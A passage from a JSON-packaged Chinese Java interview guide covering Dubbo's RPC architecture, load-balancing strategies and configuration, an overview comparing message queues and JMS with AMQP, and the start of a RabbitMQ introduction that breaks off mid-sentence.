    "content": "本文是作者根据官方文档以及自己平时的使用情况，对 Dubbo 所做的一个总结。如果不懂 Dubbo 的使用的话，可以参考我的这篇文章[《超详细，新手都能看懂 ！使用SpringBoot+Dubbo 搭建一个简单的分布式服务》](https://mp.weixin.qq.com/s?__biz=MzU4NDQ4MzU5OA==&mid=2247484706&idx=1&sn=d413fc17023482f67ca17cb6756b9ff8&chksm=fd985343caefda555969568fdf4734536e0a1745f9de337d434a7dbd04e893bd2d75f3641aab&token=1902169190&lang=zh_CN#rd)\n\nDubbo 官网：http://dubbo.apache.org/zh-cn/index.html\n\nDubbo 中文文档： http://dubbo.apache.org/zh-cn/index.html\n\n<!-- MarkdownTOC -->\n\n- [一 重要的概念](#一-重要的概念)\n  - [1.1 什么是 Dubbo?](#11-什么是-dubbo)\n  - [1.2 什么是 RPC?RPC原理是什么?](#12-什么是-rpcrpc原理是什么)\n  - [1.3 为什么要用 Dubbo?](#13-为什么要用-dubbo)\n  - [1.4 什么是分布式?](#14-什么是分布式)\n  - [1.5 为什么要分布式?](#15-为什么要分布式)\n- [二 Dubbo 的架构](#二-dubbo-的架构)\n  - [2.1 Dubbo 的架构图解](#21-dubbo-的架构图解)\n  - [2.2 Dubbo 工作原理](#22-dubbo-工作原理)\n- [三 Dubbo 的负载均衡策略](#三-dubbo-的负载均衡策略)\n  - [3.1 先来解释一下什么是负载均衡](#31-先来解释一下什么是负载均衡)\n  - [3.2 再来看看 Dubbo 提供的负载均衡策略](#32-再来看看-dubbo-提供的负载均衡策略)\n    - [3.2.1  Random LoadBalance\\(默认，基于权重的随机负载均衡机制\\)](#321-random-loadbalance默认基于权重的随机负载均衡机制)\n    - [3.2.2  RoundRobin LoadBalance\\(不推荐，基于权重的轮询负载均衡机制\\)](#322-roundrobin-loadbalance不推荐基于权重的轮询负载均衡机制)\n    - [3.2.3 LeastActive LoadBalance](#323-leastactive-loadbalance)\n    - [3.2.4  ConsistentHash LoadBalance](#324-consistenthash-loadbalance)\n  - [3.3 配置方式](#33-配置方式)\n- [四 zookeeper宕机与dubbo直连的情况](#四-zookeeper宕机与dubbo直连的情况)\n\n<!-- /MarkdownTOC -->\n\n\n## 一 重要的概念\n\n### 1.1 什么是 Dubbo?\n\nApache Dubbo (incubating) |ˈdʌbəʊ| 是一款高性能、轻量级的开源Java RPC 框架，它提供了三大核心能力：面向接口的远程方法调用，智能容错和负载均衡，以及服务自动注册和发现。简单来说 Dubbo 是一个分布式服务框架，致力于提供高性能和透明化的RPC远程服务调用方案，以及SOA服务治理方案。\n\nDubbo 目前已经有接近 23k 的 Star ，Dubbo的Github 地址：[https://github.com/apache/incubator-dubbo](https://github.com/apache/incubator-dubbo) 。 另外，在开源中国举行的2018年度最受欢迎中国开源软件这个活动的评选中，Dubbo 更是凭借其超高人气仅次于 vue.js 和 ECharts 获得第三名的好成绩。\n\nDubbo 是由阿里开源，后来加入了 Apache 。正式由于 Dubbo 的出现，才使得越来越多的公司开始使用以及接受分布式架构。\n\n**我们上面说了  Dubbo 实际上是 RPC 框架，那么什么是 RPC呢？**\n\n### 1.2 什么是 RPC?RPC原理是什么?\n\n**什么是 RPC？**\n\nRPC（Remote Procedure Call）—远程过程调用，它是一种通过网络从远程计算机程序上请求服务，而不需要了解底层网络技术的协议。比如两个不同的服务A,B部署在两台不同的机器上，那么服务 A 如果想要调用服务 B 中的某个方法该怎么办呢？使用 HTTP请求 当然可以，但是可能会比较慢而且一些优化做的并不好。 RPC 的出现就是为了解决这个问题。\n\n**RPC原理是什么？**\n\n我这里这是简单的提一下。详细内容可以查看下面这篇文章：\n\n[http://www.importnew.com/22003.html](http://www.importnew.com/22003.html)\n\n![RPC原理图](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-12-6/37345851.jpg)\n\n\n1. 服务消费方（client）调用以本地调用方式调用服务；\n2. client stub接收到调用后负责将方法、参数等组装成能够进行网络传输的消息体；\n3. client stub找到服务地址，并将消息发送到服务端；\n4. server stub收到消息后进行解码；\n5. server stub根据解码结果调用本地的服务；\n6. 本地服务执行并将结果返回给server stub；\n7. server stub将返回结果打包成消息并发送至消费方；\n8. client stub接收到消息，并进行解码；\n9. 服务消费方得到最终结果。\n\n下面再贴一个网上的时序图：\n\n![RPC原理时序图](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-12-6/32527396.jpg)\n\n**说了这么多，我们为什么要用 Dubbo 呢？**\n\n### 1.3 为什么要用 Dubbo?\n\nDubbo 的诞生和 SOA 分布式架构的流行有着莫大的关系。SOA 面向服务的架构（Service Oriented Architecture），也就是把工程按照业务逻辑拆分成服务层、表现层两个工程。服务层中包含业务逻辑，只需要对外提供服务即可。表现层只需要处理和页面的交互，业务逻辑都是调用服务层的服务来实现。SOA架构中有两个主要角色：服务提供者（Provider）和服务使用者（Consumer）。\n\n![为什么要用 Dubbo](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-9-26/43050183.jpg)\n\n**如果你要开发分布式程序，你也可以直接基于 HTTP 接口进行通信，但是为什么要用 Dubbo呢？**\n\n我觉得主要可以从 Dubbo 提供的下面四点特性来说为什么要用 Dubbo：\n\n1. **负载均衡**——同一个服务部署在不同的机器时该调用那一台机器上的服务\n2. **服务调用链路生成**——随着系统的发展，服务越来越多，服务间依赖关系变得错踪复杂，甚至分不清哪个应用要在哪个应用之前启动，架构师都不能完整的描述应用的架构关系。Dubbo 可以为我们解决服务之间互相是如何调用的。\n3. **服务访问压力以及时长统计、资源调度和治理**——基于访问压力实时管理集群容量，提高集群利用率。\n4. **服务降级**——某个服务挂掉之后调用备用服务\n\n另外，Dubbo 除了能够应用在分布式系统中，也可以应用在现在比较火的微服务系统中。不过，由于 Spring Cloud 在微服务中应用更加广泛，所以，我觉得一般我们提 Dubbo 的话，大部分是分布式系统的情况。\n\n**我们刚刚提到了分布式这个概念，下面再给大家介绍一下什么是分布式？为什么要分布式？**\n\n### 1.4 什么是分布式?\n\n分布式或者说 SOA 分布式重要的就是面向服务，说简单的分布式就是我们把整个系统拆分成不同的服务然后将这些服务放在不同的服务器上减轻单体服务的压力提高并发量和性能。比如电商系统可以简单地拆分成订单系统、商品系统、登录系统等等，拆分之后的每个服务可以部署在不同的机器上，如果某一个服务的访问量比较大的话也可以将这个服务同时部署在多台机器上。\n\n### 1.5 为什么要分布式?\n\n从开发角度来讲单体应用的代码都集中在一起，而分布式系统的代码根据业务被拆分。所以，每个团队可以负责一个服务的开发，这样提升了开发效率。另外，代码根据业务拆分之后更加便于维护和扩展。\n\n另外，我觉得将系统拆分成分布式之后不光便于系统扩展和维护，更能提高整个系统的性能。你想一想嘛?把整个系统拆分成不同的服务/系统，然后每个服务/系统 单独部署在一台服务器上，是不是很大程度上提高了系统性能呢？\n\n## 二 Dubbo 的架构\n\n### 2.1 Dubbo 的架构图解\n\n![Dubbo 架构](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-9-26/46816446.jpg)\n\n**上述节点简单说明：**\n\n-  **Provider：**   暴露服务的服务提供方\n- **Consumer：**  调用远程服务的服务消费方\n- **Registry：**  服务注册与发现的注册中心\n- **Monitor：**   统计服务的调用次数和调用时间的监控中心\n- **Container：**   服务运行容器\n\n**调用关系说明：**\n\n1. 服务容器负责启动，加载，运行服务提供者。\n2.    服务提供者在启动时，向注册中心注册自己提供的服务。\n3.   服务消费者在启动时，向注册中心订阅自己所需的服务。\n4.  注册中心返回服务提供者地址列表给消费者，如果有变更，注册中心将基于长连接推送变更数据给消费者。\n5.  服务消费者，从提供者地址列表中，基于软负载均衡算法，选一台提供者进行调用，如果调用失败，再选另一台调用。\n6.   服务消费者和提供者，在内存中累计调用次数和调用时间，定时每分钟发送一次统计数据到监控中心。\n\n**重要知识点总结：**\n\n- **注册中心负责服务地址的注册与查找，相当于目录服务，服务提供者和消费者只在启动时与注册中心交互，注册中心不转发请求，压力较小**\n- **监控中心负责统计各服务调用次数，调用时间等，统计先在内存汇总后每分钟一次发送到监控中心服务器，并以报表展示**\n- **注册中心，服务提供者，服务消费者三者之间均为长连接，监控中心除外**\n- **注册中心通过长连接感知服务提供者的存在，服务提供者宕机，注册中心将立即推送事件通知消费者**\n- **注册中心和监控中心全部宕机，不影响已运行的提供者和消费者，消费者在本地缓存了提供者列表**\n- **注册中心和监控中心都是可选的，服务消费者可以直连服务提供者**\n- **服务提供者无状态，任意一台宕掉后，不影响使用**\n- **服务提供者全部宕掉后，服务消费者应用将无法使用，并无限次重连等待服务提供者恢复**\n\n\n\n\n\n### 2.2 Dubbo 工作原理\n\n\n![Dubbo 工作原理](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-9-26/64702923.jpg)\n\n图中从下至上分为十层，各层均为单向依赖，右边的黑色箭头代表层之间的依赖关系，每一层都可以剥离上层被复用，其中，Service 和 Config 层为 API，其它各层均为 SPI。\n\n**各层说明**：\n\n- 第一层：**service层**，接口层，给服务提供者和消费者来实现的\n- 第二层：**config层**，配置层，主要是对dubbo进行各种配置的\n- 第三层：**proxy层**，服务接口透明代理，生成服务的客户端 Stub 和服务器端 Skeleton\n- 第四层：**registry层**，服务注册层，负责服务的注册与发现\n- 第五层：**cluster层**，集群层，封装多个服务提供者的路由以及负载均衡，将多个实例组合成一个服务\n- 第六层：**monitor层**，监控层，对rpc接口的调用次数和调用时间进行监控\n- 第七层：**protocol层**，远程调用层，封装rpc调用\n- 第八层：**exchange层**，信息交换层，封装请求响应模式，同步转异步\n- 第九层：**transport层**，网络传输层，抽象mina和netty为统一接口\n- 第十层：**serialize层**，数据序列化层。网络传输需要。\n\n\n## 三 Dubbo 的负载均衡策略\n\n### 3.1 先来解释一下什么是负载均衡\n\n**先来个官方的解释。**\n\n> 维基百科对负载均衡的定义：负载均衡改善了跨多个计算资源（例如计算机，计算机集群，网络链接，中央处理单元或磁盘驱动的的工作负载分布。负载平衡旨在优化资源使用，最大化吞吐量，最小化响应时间，并避免任何单个资源的过载。使用具有负载平衡而不是单个组件的多个组件可以通过冗余提高可靠性和可用性。负载平衡通常涉及专用软件或硬件\n\n**上面讲的大家可能不太好理解，再用通俗的话给大家说一下。**\n\n比如我们的系统中的某个服务的访问量特别大，我们将这个服务部署在了多台服务器上，当客户端发起请求的时候，多台服务器都可以处理这个请求。那么，如何正确选择处理该请求的服务器就很关键。假如，你就要一台服务器来处理该服务的请求，那该服务部署在多台服务器的意义就不复存在了。负载均衡就是为了避免单个服务器响应同一请求，容易造成服务器宕机、崩溃等问题，我们从负载均衡的这四个字就能明显感受到它的意义。\n\n### 3.2 再来看看 Dubbo 提供的负载均衡策略\n\n在集群负载均衡时，Dubbo 提供了多种均衡策略，默认为 `random` 随机调用。可以自行扩展负载均衡策略，参见：[负载均衡扩展](https://dubbo.gitbooks.io/dubbo-dev-book/content/impls/load-balance.html)。\n\n备注:下面的图片来自于：尚硅谷2018Dubbo 视频。\n\n\n####  3.2.1  Random LoadBalance(默认，基于权重的随机负载均衡机制)\n \n- **随机，按权重设置随机概率。**\n- 在一个截面上碰撞的概率高，但调用量越大分布越均匀，而且按概率使用权重后也比较均匀，有利于动态调整提供者权重。\n\n![基于权重的随机负载均衡机制](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-12-7/77722327.jpg)\n\n\n\n####  3.2.2  RoundRobin LoadBalance(不推荐，基于权重的轮询负载均衡机制)\n\n- 轮循，按公约后的权重设置轮循比率。\n- 存在慢的提供者累积请求的问题，比如：第二台机器很慢，但没挂，当请求调到第二台时就卡在那，久而久之，所有请求都卡在调到第二台上。\n\n![基于权重的轮询负载均衡机制](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-12-7/97933247.jpg)\n\n####  3.2.3 LeastActive LoadBalance\n\n- 最少活跃调用数，相同活跃数的随机，活跃数指调用前后计数差。\n- 使慢的提供者收到更少请求，因为越慢的提供者的调用前后计数差会越大。\n\n####  3.2.4  ConsistentHash LoadBalance\n\n- **一致性 Hash，相同参数的请求总是发到同一提供者。(如果你需要的不是随机负载均衡，是要一类请求都到一个节点，那就走这个一致性hash策略。)**\n- 当某一台提供者挂时，原本发往该提供者的请求，基于虚拟节点，平摊到其它提供者，不会引起剧烈变动。\n- 算法参见：http://en.wikipedia.org/wiki/Consistent_hashing\n- 缺省只对第一个参数 Hash，如果要修改，请配置 `<dubbo:parameter key=\"hash.arguments\" value=\"0,1\" />`\n- 缺省用 160 份虚拟节点，如果要修改，请配置 `<dubbo:parameter key=\"hash.nodes\" value=\"320\" />`\n\n### 3.3 配置方式\n\n**xml 配置方式**\n\n服务端服务级别\n\n```java\n<dubbo:service interface=\"...\" loadbalance=\"roundrobin\" />\n```\n客户端服务级别\n\n```java\n<dubbo:reference interface=\"...\" loadbalance=\"roundrobin\" />\n```\n\n服务端方法级别\n\n```java\n<dubbo:service interface=\"...\">\n    <dubbo:method name=\"...\" loadbalance=\"roundrobin\"/>\n</dubbo:service>\n```\n\n客户端方法级别\n\n```java\n<dubbo:reference interface=\"...\">\n    <dubbo:method name=\"...\" loadbalance=\"roundrobin\"/>\n</dubbo:reference>\n```\n\n**注解配置方式：**\n\n消费方基于基于注解的服务级别配置方式：\n\n```java\n@Reference(loadbalance = \"roundrobin\")\nHelloService helloService;\n```\n\n## 四 zookeeper宕机与dubbo直连的情况\n\nzookeeper宕机与dubbo直连的情况在面试中可能会被经常问到，所以要引起重视。\n\n在实际生产中，假如zookeeper注册中心宕掉，一段时间内服务消费方还是能够调用提供方的服务的，实际上它使用的本地缓存进行通讯，这只是dubbo健壮性的一种提现。\n\n**dubbo的健壮性表现：**\n\n1. 监控中心宕掉不影响使用，只是丢失部分采样数据\n2. 数据库宕掉后，注册中心仍能通过缓存提供服务列表查询，但不能注册新服务\n3. 注册中心对等集群，任意一台宕掉后，将自动切换到另一台\n4. 注册中心全部宕掉后，服务提供者和服务消费者仍能通过本地缓存通讯\n5. 服务提供者无状态，任意一台宕掉后，不影响使用\n5. 服务提供者全部宕掉后，服务消费者应用将无法使用，并无限次重连等待服务提供者恢复\n\n我们前面提到过：注册中心负责服务地址的注册与查找，相当于目录服务，服务提供者和消费者只在启动时与注册中心交互，注册中心不转发请求，压力较小。所以，我们可以完全可以绕过注册中心——采用 **dubbo 直连** ，即在服务消费方配置服务提供方的位置信息。\n\n\n**xml配置方式：**\n\n```xml\n<dubbo:reference id=\"userService\" interface=\"com.zang.gmall.service.UserService\" url=\"dubbo://localhost:20880\" />\n```\n\n**注解方式：**\n\n```java\n @Reference(url = \"127.0.0.1:20880\")   \n HelloService helloService;\n```\n\n\n\n"
  },
  {
    "path": "docs/system-design/data-communication/message-queue.md",
    "content": "<!-- MarkdownTOC -->\n\n- [消息队列其实很简单](#消息队列其实很简单)\n  - [一 什么是消息队列](#一-什么是消息队列)\n  - [二 为什么要用消息队列](#二-为什么要用消息队列)\n    - [\\(1\\) 通过异步处理提高系统性能（削峰、减少响应所需时间）](#1-通过异步处理提高系统性能削峰减少响应所需时间)\n    - [\\(2\\) 降低系统耦合性](#2-降低系统耦合性)\n  - [三 使用消息队列带来的一些问题](#三-使用消息队列带来的一些问题)\n  - [四 JMS VS AMQP](#四-jms-vs-amqp)\n    - [4.1 JMS](#41-jms)\n      - [4.1.1 JMS 简介](#411-jms-简介)\n      - [4.1.2 JMS两种消息模型](#412-jms两种消息模型)\n      - [4.1.3 JMS 五种不同的消息正文格式](#413-jms-五种不同的消息正文格式)\n    - [4.2 AMQP](#42-amqp)\n    - [4.3 JMS vs AMQP](#43-jms-vs-amqp)\n  - [五 常见的消息队列对比](#五-常见的消息队列对比)\n\n<!-- /MarkdownTOC -->\n\n\n# 消息队列其实很简单\n\n　　“RabbitMQ？”“Kafka？”“RocketMQ？”...在日常学习与开发过程中，我们常常听到消息队列这个关键词。我也在我的多篇文章中提到了这个概念。可能你是熟练使用消息队列的老手，又或者你是不懂消息队列的新手，不论你了不了解消息队列，本文都将带你搞懂消息队列的一些基本理论。如果你是老手，你可能从本文学到你之前不曾注意的一些关于消息队列的重要概念，如果你是新手，相信本文将是你打开消息队列大门的一板砖。\n\n## 一 什么是消息队列\n\n　　我们可以把消息队列比作是一个存放消息的容器，当我们需要使用消息的时候可以取出消息供自己使用。消息队列是分布式系统中重要的组件，使用消息队列主要是为了通过异步处理提高系统性能和削峰、降低系统耦合性。目前使用较多的消息队列有ActiveMQ，RabbitMQ，Kafka，RocketMQ，我们后面会一一对比这些消息队列。\n\n　　另外，我们知道队列 Queue 是一种先进先出的数据结构，所以消费消息时也是按照顺序来消费的。比如生产者发送消息1,2,3...对于消费者就会按照1,2,3...的顺序来消费。但是偶尔也会出现消息被消费的顺序不对的情况，比如某个消息消费失败又或者一个 queue 多个consumer 也会导致消息被消费的顺序不对，我们一定要保证消息被消费的顺序正确。\n\n　　除了上面说的消息消费顺序的问题，使用消息队列，我们还要考虑如何保证消息不被重复消费？如何保证消息的可靠性传输（如何处理消息丢失的问题）？......等等问题。所以说使用消息队列也不是十全十美的，使用它也会让系统可用性降低、复杂度提高，另外需要我们保障一致性等问题。\n\n## 二 为什么要用消息队列\n\n　　我觉得使用消息队列主要有两点好处：1.通过异步处理提高系统性能（削峰、减少响应所需时间）;2.降低系统耦合性。如果在面试的时候你被面试官问到这个问题的话，一般情况是你在你的简历上涉及到消息队列这方面的内容，这个时候推荐你结合你自己的项目来回答。\n\n\n　　《大型网站技术架构》第四章和第七章均有提到消息队列对应用性能及扩展性的提升。\n\n### (1) 通过异步处理提高系统性能（削峰、减少响应所需时间）\n\n![通过异步处理提高系统性能](https://user-gold-cdn.xitu.io/2018/4/21/162e63a8e34ba534?w=910&h=350&f=jpeg&s=29123)\n　　如上图，**在不使用消息队列服务器的时候，用户的请求数据直接写入数据库，在高并发的情况下数据库压力剧增，使得响应速度变慢。但是在使用消息队列之后，用户的请求数据发送给消息队列之后立即 返回，再由消息队列的消费者进程从消息队列中获取数据，异步写入数据库。由于消息队列服务器处理速度快于数据库（消息队列也比数据库有更好的伸缩性），因此响应速度得到大幅改善。**\n\n　　通过以上分析我们可以得出**消息队列具有很好的削峰作用的功能**——即**通过异步处理，将短时间高并发产生的事务消息存储在消息队列中，从而削平高峰期的并发事务。** 举例：在电子商务一些秒杀、促销活动中，合理使用消息队列可以有效抵御促销活动刚开始大量订单涌入对系统的冲击。如下图所示：\n![合理使用消息队列可以有效抵御促销活动刚开始大量订单涌入对系统的冲击](https://user-gold-cdn.xitu.io/2018/4/21/162e64583dd3ed01?w=780&h=384&f=jpeg&s=13550)\n\n　　因为**用户请求数据写入消息队列之后就立即返回给用户了，但是请求数据在后续的业务校验、写数据库等操作中可能失败**。因此使用消息队列进行异步处理之后，需要**适当修改业务流程进行配合**，比如**用户在提交订单之后，订单数据写入消息队列，不能立即返回用户订单提交成功，需要在消息队列的订单消费者进程真正处理完该订单之后，甚至出库后，再通过电子邮件或短信通知用户订单成功**，以免交易纠纷。这就类似我们平时手机订火车票和电影票。\n\n### (2) 降低系统耦合性\n\n　　我们知道如果模块之间不存在直接调用，那么新增模块或者修改模块就对其他模块影响较小，这样系统的可扩展性无疑更好一些。\n\n　　我们最常见的**事件驱动架构**类似生产者消费者模式，在大型网站中通常用利用消息队列实现事件驱动结构。如下图所示：\n  \n![利用消息队列实现事件驱动结构](https://user-gold-cdn.xitu.io/2018/4/21/162e6665fa394b3b?w=790&h=290&f=jpeg&s=14946)\n\n　　**消息队列使利用发布-订阅模式工作，消息发送者（生产者）发布消息，一个或多个消息接受者（消费者）订阅消息。** 从上图可以看到**消息发送者（生产者）和消息接受者（消费者）之间没有直接耦合**，消息发送者将消息发送至分布式消息队列即结束对消息的处理，消息接受者从分布式消息队列获取该消息后进行后续处理，并不需要知道该消息从何而来。**对新增业务，只要对该类消息感兴趣，即可订阅该消息，对原有系统和业务没有任何影响，从而实现网站业务的可扩展性设计**。\n\n　　消息接受者对消息进行过滤、处理、包装后，构造成一个新的消息类型，将消息继续发送出去，等待其他消息接受者订阅该消息。因此基于事件（消息对象）驱动的业务架构可以是一系列流程。\n\n　　**另外为了避免消息队列服务器宕机造成消息丢失，会将成功发送到消息队列的消息存储在消息生产者服务器上，等消息真正被消费者服务器处理后才删除消息。在消息队列服务器宕机后，生产者服务器会选择分布式消息队列服务器集群中的其他服务器发布消息。**   \n\n**备注：** 不要认为消息队列只能利用发布-订阅模式工作，只不过在解耦这个特定业务环境下是使用发布-订阅模式的。**除了发布-订阅模式，还有点对点订阅模式（一个消息只有一个消费者），我们比较常用的是发布-订阅模式。** 另外，这两种消息模型是 JMS 提供的，AMQP 协议还提供了 5 种消息模型。\n\n## 三 使用消息队列带来的一些问题\n\n- **系统可用性降低：** 系统可用性在某种程度上降低，为什么这样说呢？在加入MQ之前，你不用考虑消息丢失或者说MQ挂掉等等的情况，但是，引入MQ之后你就需要去考虑了！\n- **系统复杂性提高：** 加入MQ之后，你需要保证消息没有被重复消费、处理消息丢失的情况、保证消息传递的顺序性等等问题！\n- **一致性问题：** 我上面讲了消息队列可以实现异步，消息队列带来的异步确实可以提高系统响应速度。但是，万一消息的真正消费者并没有正确消费消息怎么办？这样就会导致数据不一致的情况了!\n\n## 四 JMS VS AMQP\n\n### 4.1 JMS\n\n#### 4.1.1 JMS 简介\n\n　　JMS（JAVA Message Service,java消息服务）是java的消息服务，JMS的客户端之间可以通过JMS服务进行异步的消息传输。**JMS（JAVA Message Service,Java消息服务）API是一个消息服务的标准或者说是规范**，允许应用程序组件基于JavaEE平台创建、发送、接收和读取消息。它使分布式通信耦合度更低，消息服务更加可靠以及异步性。\n\n**ActiveMQ 就是基于 JMS 规范实现的。**\n\n#### 4.1.2 JMS两种消息模型\n\n①点到点（P2P）模型\n\n![点到点（P2P）模型](https://user-gold-cdn.xitu.io/2018/4/21/162e7185572ca37d?w=575&h=135&f=gif&s=8530)\n　　使用**队列（Queue）**作为消息通信载体；满足**生产者与消费者模式**，一条消息只能被一个消费者使用，未被消费的消息在队列中保留直到被消费或超时。比如：我们生产者发送100条消息的话，两个消费者来消费一般情况下两个消费者会按照消息发送的顺序各自消费一半（也就是你一个我一个的消费。）\n\n② 发布/订阅（Pub/Sub）模型\n\n  ![发布/订阅（Pub/Sub）模型](https://user-gold-cdn.xitu.io/2018/4/21/162e7187c268eaa5?w=402&h=164&f=gif&s=15492)\n　　发布订阅模型（Pub/Sub） 使用**主题（Topic）**作为消息通信载体，类似于**广播模式**；发布者发布一条消息，该消息通过主题传递给所有的订阅者，**在一条消息广播之后才订阅的用户则是收不到该条消息的**。\n\n#### 4.1.3 JMS 五种不同的消息正文格式\n\n　　JMS定义了五种不同的消息正文格式，以及调用的消息类型，允许你发送并接收以一些不同形式的数据，提供现有消息格式的一些级别的兼容性。\n\n- StreamMessage -- Java原始值的数据流\n- MapMessage--一套名称-值对\n- TextMessage--一个字符串对象\n- ObjectMessage--一个序列化的 Java对象\n- BytesMessage--一个字节的数据流\n\n\n### 4.2 AMQP\n\n　　​ AMQP，即Advanced Message Queuing Protocol,一个提供统一消息服务的应用层标准 **高级消息队列协议**（二进制应用层协议），是应用层协议的一个开放标准,为面向消息的中间件设计，兼容 JMS。基于此协议的客户端与消息中间件可传递消息，并不受客户端/中间件同产品，不同的开发语言等条件的限制。\n\n**RabbitMQ 就是基于 AMQP 协议实现的。**\n\n\n\n### 4.3 JMS vs AMQP\n\n\n|对比方向| JMS | AMQP |\n| :-------- | --------:| :--: |\n| 定义| Java API | 协议 |\n| 跨语言 | 否 | 是 |\n| 跨平台 | 否 | 是 |\n| 支持消息类型 | 提供两种消息模型：①Peer-2-Peer;②Pub/sub| 提供了五种消息模型：①direct exchange；②fanout exchange；③topic change；④headers exchange；⑤system exchange。本质来讲，后四种和JMS的pub/sub模型没有太大差别，仅是在路由机制上做了更详细的划分；|\n|支持消息类型| 支持多种消息类型 ，我们在上面提到过| byte[]（二进制）|\n\n**总结：**\n\n- AMQP 为消息定义了线路层（wire-level protocol）的协议，而JMS所定义的是API规范。在 Java 体系中，多个client均可以通过JMS进行交互，不需要应用修改代码，但是其对跨平台的支持较差。而AMQP天然具有跨平台、跨语言特性。\n- JMS 支持TextMessage、MapMessage 等复杂的消息类型；而 AMQP 仅支持 byte[] 消息类型（复杂的类型可序列化后发送）。\n- 由于Exchange 提供的路由算法，AMQP可以提供多样化的路由方式来传递消息到消息队列，而 JMS 仅支持 队列 和 主题/订阅 方式两种。 \n\n\n## 五 常见的消息队列对比\n\n\n\n对比方向 |概要\n-------- | ---\n 吞吐量| 万级的 ActiveMQ 和 RabbitMQ 的吞吐量（ActiveMQ 的性能最差）要比 十万级甚至是百万级的 RocketMQ 和 Kafka 低一个数量级。\n可用性| 都可以实现高可用。ActiveMQ 和 RabbitMQ 都是基于主从架构实现高可用性。RocketMQ 基于分布式架构。 kafka 也是分布式的，一个数据多个副本，少数机器宕机，不会丢失数据，不会导致不可用\n时效性| RabbitMQ 基于erlang开发，所以并发能力很强，性能极其好，延时很低，达到微秒级。其他三个都是 ms 级。\n功能支持| 除了 Kafka，其他三个功能都较为完备。 Kafka 功能较为简单，主要支持简单的MQ功能，在大数据领域的实时计算以及日志采集被大规模使用，是事实上的标准\n消息丢失| ActiveMQ 和 RabbitMQ 丢失的可能性非常低， RocketMQ 和 Kafka 理论上不会丢失。\n\n\n**总结：**\n\n- ActiveMQ 的社区算是比较成熟，但是较目前来说，ActiveMQ 的性能比较差，而且版本迭代很慢，不推荐使用。\n- RabbitMQ 在吞吐量方面虽然稍逊于 Kafka 和 RocketMQ ，但是由于它基于 erlang 开发，所以并发能力很强，性能极其好，延时很低，达到微秒级。但是也因为 RabbitMQ 基于 erlang 开发，所以国内很少有公司有实力做erlang源码级别的研究和定制。如果业务场景对并发量要求不是太高（十万级、百万级），那这四种消息队列中，RabbitMQ 一定是你的首选。如果是大数据领域的实时计算、日志采集等场景，用 Kafka 是业内标准的，绝对没问题，社区活跃度很高，绝对不会黄，何况几乎是全世界这个领域的事实性规范。\n- RocketMQ 阿里出品，Java 系开源项目，源代码我们可以直接阅读，然后可以定制自己公司的MQ，并且 RocketMQ 有阿里巴巴的实际业务场景的实战考验。RocketMQ 社区活跃度相对较为一般，不过也还可以，文档相对来说简单一些，然后接口这块不是按照标准 JMS 规范走的有些系统要迁移需要修改大量代码。还有就是阿里出台的技术，你得做好这个技术万一被抛弃，社区黄掉的风险，那如果你们公司有技术实力我觉得用RocketMQ 挺好的\n- kafka 的特点其实很明显，就是仅仅提供较少的核心功能，但是提供超高的吞吐量，ms 级的延迟，极高的可用性以及可靠性，而且分布式可以任意扩展。同时 kafka 最好是支撑较少的 topic 数量即可，保证其超高吞吐量。kafka 唯一的一点劣势是有可能消息重复消费，那么对数据准确性会造成极其轻微的影响，在大数据领域中以及日志采集中，这点轻微影响可以忽略这个特性天然适合大数据实时计算以及日志收集。\n\n\n参考：《Java工程师面试突击第1季-中华石杉老师》\n"
  },
  {
    "path": "docs/system-design/data-communication/rabbitmq.md",
    "content": "<!-- TOC -->\n\n- [一文搞懂 RabbitMQ 的重要概念以及安装](#一文搞懂-rabbitmq-的重要概念以及安装)\n    - [一 RabbitMQ 介绍](#一-rabbitmq-介绍)\n        - [1.1 RabbitMQ 简介](#11-rabbitmq-简介)\n        - [1.2 RabbitMQ 核心概念](#12-rabbitmq-核心概念)\n            - [1.2.1 Producer(生产者) 和 Consumer(消费者)](#121-producer生产者-和-consumer消费者)\n            - [1.2.2 Exchange(交换器)](#122-exchange交换器)\n            - [1.2.3 Queue(消息队列)](#123-queue消息队列)\n            - [1.2.4 Broker（消息中间件的服务节点）](#124-broker消息中间件的服务节点)\n            - [1.2.5 Exchange Types(交换器类型)](#125-exchange-types交换器类型)\n                - [① fanout](#①-fanout)\n                - [② direct](#②-direct)\n                - [③ topic](#③-topic)\n                - [④ headers(不推荐)](#④-headers不推荐)\n    - [二 安装 RabbitMq](#二-安装-rabbitmq)\n        - [2.1 安装 erlang](#21-安装-erlang)\n        - [2.2 安装 RabbitMQ](#22-安装-rabbitmq)\n\n<!-- /TOC -->\n\n# 一文搞懂 RabbitMQ 的重要概念以及安装\n\n## 一 RabbitMQ 介绍\n\n这部分参考了 《RabbitMQ实战指南》这本书的第 1 章和第 2 章。\n\n### 1.1 RabbitMQ 简介\n\nRabbitMQ 是采用 Erlang 语言实现 AMQP(Advanced Message Queuing Protocol，高级消息队列协议）的消息中间件，它最初起源于金融系统，用于在分布式系统中存储转发消息。\n\nRabbitMQ 发展到今天，被越来越多的人认可，这和它在易用性、扩展性、可靠性和高可用性等方面的卓著表现是分不开的。RabbitMQ 的具体特点可以概括为以下几点：\n\n- **可靠性：** RabbitMQ使用一些机制来保证消息的可靠性，如持久化、传输确认及发布确认等。\n- **灵活的路由：** 在消息进入队列之前，通过交换器来路由消息。对于典型的路由功能，RabbitMQ 己经提供了一些内置的交换器来实现。针对更复杂的路由功能，可以将多个交换器绑定在一起，也可以通过插件机制来实现自己的交换器。这个后面会在我们将 RabbitMQ 核心概念的时候详细介绍到。\n- **扩展性：** 多个RabbitMQ节点可以组成一个集群，也可以根据实际业务情况动态地扩展集群中节点。\n- **高可用性：** 队列可以在集群中的机器上设置镜像，使得在部分节点出现问题的情况下队列仍然可用。\n- **支持多种协议：** RabbitMQ 除了原生支持 AMQP 协议，还支持 STOMP、MQTT 等多种消息中间件协议。\n- **多语言客户端：** RabbitMQ几乎支持所有常用语言，比如 Java、Python、Ruby、PHP、C#、JavaScript等。\n- **易用的管理界面：** RabbitMQ提供了一个易用的用户界面，使得用户可以监控和管理消息、集群中的节点等。在安装 RabbitMQ 的时候会介绍到，安装好 RabbitMQ 就自带管理界面。\n- **插件机制：** RabbitMQ 提供了许多插件，以实现从多方面进行扩展，当然也可以编写自己的插件。感觉这个有点类似 Dubbo 的 